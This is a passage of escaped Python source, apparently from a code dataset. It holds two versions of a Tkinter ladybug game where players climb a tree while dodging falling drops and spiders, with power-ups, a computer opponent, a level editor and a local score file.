data.scaryBug.append(ScaryBug(550, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(750, 750))\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef helpMousePressed(event, data):\n checkHome(event, data)\n\n\ndef helpTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\ndef splashScreenMousePressed(event, data):\n if (data.splashButtonY - 2 * data.r <= event.x <= data.splashButtonY + \n 2 * data.r):\n if data.p1ButtonX - data.r <= event.y <= data.p1ButtonX + data.r:\n data.mode = '1Player'\n if data.p2ButtonX - data.r <= event.y <= data.p2ButtonX + data.r:\n data.mode = '2Player'\n if data.edButton - data.r <= event.y <= data.edButton + data.r:\n data.mode = 'editor'\n if data.diffButton - data.r <= event.y <= data.diffButton + data.r:\n data.mode = 'difficulty'\n if data.helpButton - data.r <= event.y <= data.helpButton + data.r:\n data.mode = 'help'\n if data.sboardButton - data.r <= event.y <= data.sboardButton + data.r:\n data.mode = 'scoreboard'\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\ndef splashScreenRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.splashText - 10, image=data.title)\n for drop in data.splashScreenDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.splashText, text=\n \"\"\"\n 1.) Single Player Level Mode\n\n\n 2.) Two-Player Mode\n\n \n 3.) Level Creator Practice Mode\n\n \n 4.) Play Against the Computer\n\n \n 5.) Help and Instructions\n\n \n 6.) Scoreboard\n\n \n \"\"\"\n , font='Arial 14 bold', fill='yellow')\n splashScreenButtons(canvas, data)\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\ndef hit(data):\n for coconut in data.coconuts:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if coconut.y >= data.cy - data.r and coconut.y <= data.cy + data.r:\n if (coconut.x >= data.cx - data.r and coconut.x <= data.cx +\n data.r):\n data.cy += data.hitPenalty\n if data.mode == 'levelCreated':\n data.lives -= 1\n elif data.hit == False and data.level < data.levelMax:\n data.score -= data.level\n data.coconuts.remove(coconut)\n if data.mode == 'levelCreated':\n data.levelEditorLives -= 1\n\n\ndef hit2Player(data):\n if data.mode == '2Player':\n if data.Invincible1 == False:\n for coconut in data.coconuts1:\n if (coconut.y >= data.player1Y - data.r and coconut.y <= \n data.player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <=\n data.player1X + data.r):\n data.player1Y += data.hitPenalty\n data.coconuts1.remove(coconut)\n if data.Invincible2 == False:\n for coconut in data.coconuts2:\n if (coconut.y >= data.player2Y - data.r and coconut.y <= \n data.player2Y + data.r):\n if (coconut.x >= data.player2X - data.r and coconut.x <=\n data.player2X + data.r):\n data.player2Y += data.hitPenalty\n data.coconuts2.remove(coconut)\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef playerKeyPressed(event, data):\n if data.level < data.levelMax and event.keysym == 'r':\n init(data)\n if event.keysym == 'Left' and data.cx >= data.Player1Min + data.lane / 2:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= data.Player1Max:\n data.cx += data.lane / 2\n if data.level >= data.levelMax:\n if len(event.keysym) == 1:\n if len(data.name) < 15:\n data.name += event.keysym\n if event.keysym == 'BackSpace':\n data.name = data.name[0:-1]\n if event.keysym == 'Return':\n data.scoreList += data.score, data.name\n writeFile('score.txt', data.savedScores + str(data.score) + ',' +\n data.name + '\\n')\n data.mode = 'scoreboard'\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\ndef twoPlayerKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'a' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player1X = 150\n if event.keysym == 'd' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player1X = 330\n if event.keysym == 'Left' and data.onLeft2 == False:\n data.onLeft2 = True\n data.player2X = 550\n if event.keysym == 'Right' and data.onLeft2 == True:\n data.onLeft2 = False\n data.player2X = 750\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef twoPlayerTimerFired(data):\n if data.winner == None:\n data.player1Y -= data.speed\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n drop2Player(data)\n data.player2Y -= data.speed\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n drop2Player(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n powerupTimerFired(data)\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, 